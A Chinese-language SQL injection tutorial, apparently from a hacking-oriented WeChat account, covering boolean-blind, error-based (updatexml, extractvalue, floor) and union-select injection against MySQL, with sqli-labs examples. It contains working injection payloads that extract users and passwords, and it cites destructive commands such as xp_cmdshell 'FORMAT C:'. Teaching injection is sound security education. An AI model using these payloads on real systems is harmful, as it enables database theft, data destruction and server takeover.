更多黑客技能 公众号:暗网黑客
作者:掌控安全-veek
SQL注入基础
SQL注入(英语:SQL injection),是发生于应用程序与数据库层的安全漏洞。
简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
OWASP Top10虽然常年有更改,但sql注入基本一直位于榜首,其优势在于极低的使用代价以及极高的危害性,地位可见一斑。
SQL注入的危害自然是很大的,通常有以下这些(来自wiki):
资料表中的资料外泄,例如企业及个人机密资料,账户资料,密码等。
数据结构被黑客探知,得以做进一步攻击(例如SELECT * FROM sys.tables)。
数据库服务器被攻击,系统管理员账户被窜改(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及Phishing等。
经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。
黑客经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。
破坏硬盘资料,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。
获取系统最高权限后,可针对企业内部的任一管理系统做大规模破坏,甚至让其企业倒闭。
企业网站主页被窜改,门面尽失。
找到注入点后,sql注入的基本流程如下:
信息收集:
数据库类型
数据库版本
数据库用户
数据库权限获取数据:
获取库信息
获取表信息
获取列信息
获取数据提权:
执行命令 读文件
读取中间件配置文件,读取数据库配置文件
写文件 写webshell
注入分类及利用
布尔型注入
布尔是英文单词Boolean
的音译,懂编程的同学应该知道它是用来表示是或否(True或False)的一个数据类型。布尔型注入是在sql注入过程中,根据页面的返回结果来判断条件真假的注入方式。
当查询结果不为空时,返回True,相反返回False。这在网页上的体现通常是True有内容显示,而False对应着空白页面(或者页面无变化)。我们通过这个方式可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确,因为过程较为繁琐,通常要结合脚本或工具来进行。
例如sqli-labs Less8中,页面返回的只有正确和错误。我们就可以利用布尔型注入来猜解数据。
判断数据库长度的语句,此时页面无显示,说明长度为8:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+
获取数据库名时拼接and (ascii(substr(database(),1,1)))>115
语句,出现错误,对照ASCII码表得知数据库名第一个字符为“s”。而后便是重复此操作得到我们需要的数据。
报错型注入
原理
在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。
主要场景有两种,一是当查询不回显内容,但是会打印错误信息;二是在insert和update等注入点(Order by查询),这些语句也会打印错误信息。
常用的Mysql报错函数有以下这些:
updatexml():mysql对xml文档数据进行查询和修改的xpath函数
extractvalue():mysql对xml文档数据进行查询的xpath函数
floor():mysql中用来取整的函数
exp():此函数返回e(自然对数的底)指数X的幂值
updatexml中存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,而hex出的数据包含字母和数字,所以第一个字母前面的内容都会丢失,updatexml报错最多只能显示32位,我们结合SUBSTR函数来获取数据就行了,举例如下:
mysql>select updatexml(1,make_set(3,'~',(select user())),1);
ERROR 1105(HY000): XPATH syntax error:'~,root@localhost'
mysql>select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105(HY000): XPATH syntax error:'@localhostroot@localhostr@'
mysql>select updatexml(1,repeat((select user()),2),1);
ERROR 1105(HY000): XPATH syntax error:'@localhostroot@localhost'
mysql>select updatexml(1,(select user()),1);
ERROR 1105(HY000): XPATH syntax error:'@localhost'
mysql>select updatexml(1,reverse((select user())),1);
ERROR 1105(HY000): XPATH syntax error:'@toor'
mysql>select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105(HY000): XPATH syntax error:'::,::,root@localhost,root@localh'
extractvalue(目标xml文档,xml路径)。语法中第二个参数Xpath是可操作的地方,
如果我们写入错误的格式,就会报错,并且会返回我们写入的非法格式内容,
而这个非法的内容就是我们想要查询的内容。
mysql>select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//获取表名
ERROR 1105(HY000): XPATH syntax error:'\users'
mysql>select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105(HY000): XPATH syntax error:'\xxxx'mysql>select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));//获取字段
ERROR 1105(HY000): XPATH syntax error:'\Dumb'
floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整。
floor报错注入是利用
select count(*),(floor(rand(0)*2)) x from users group by x
这个相对固定的语句格式,导致的数据库报错。有关它的报错原理可参考:source
1.' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe
2. 'or(select1from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables groupby x)a),'','')-- qwe
联合查询注入
此处以MySQL为例
GET
获取回显点:
数字型:
根据获取的字段进行联合查询,查看显示点。看到网页显示的数字和联合查询字段对应的数字来得出哪个字段查询出来的数据可以在网站中显示出来。(利用and 1=2,也可以用其他方式比如-2/2.1154等,将前面的查询报错,进而网页则显示联合查询出来的数据。)
and 1=2 union select 1,2,3,4,5
字符型:
字符型和数字型的差别只是闭合和注释,其余的语句基本一样。像这里因为PHP写的SQL语句的查询条件参数是用单引号括着的,所以要用单引号,如果是其他的比如双引号就要用双引号闭合,然后把后面那个多余的符合注释掉或处理掉。
' and 1=2 union select 1,2,3-- qwe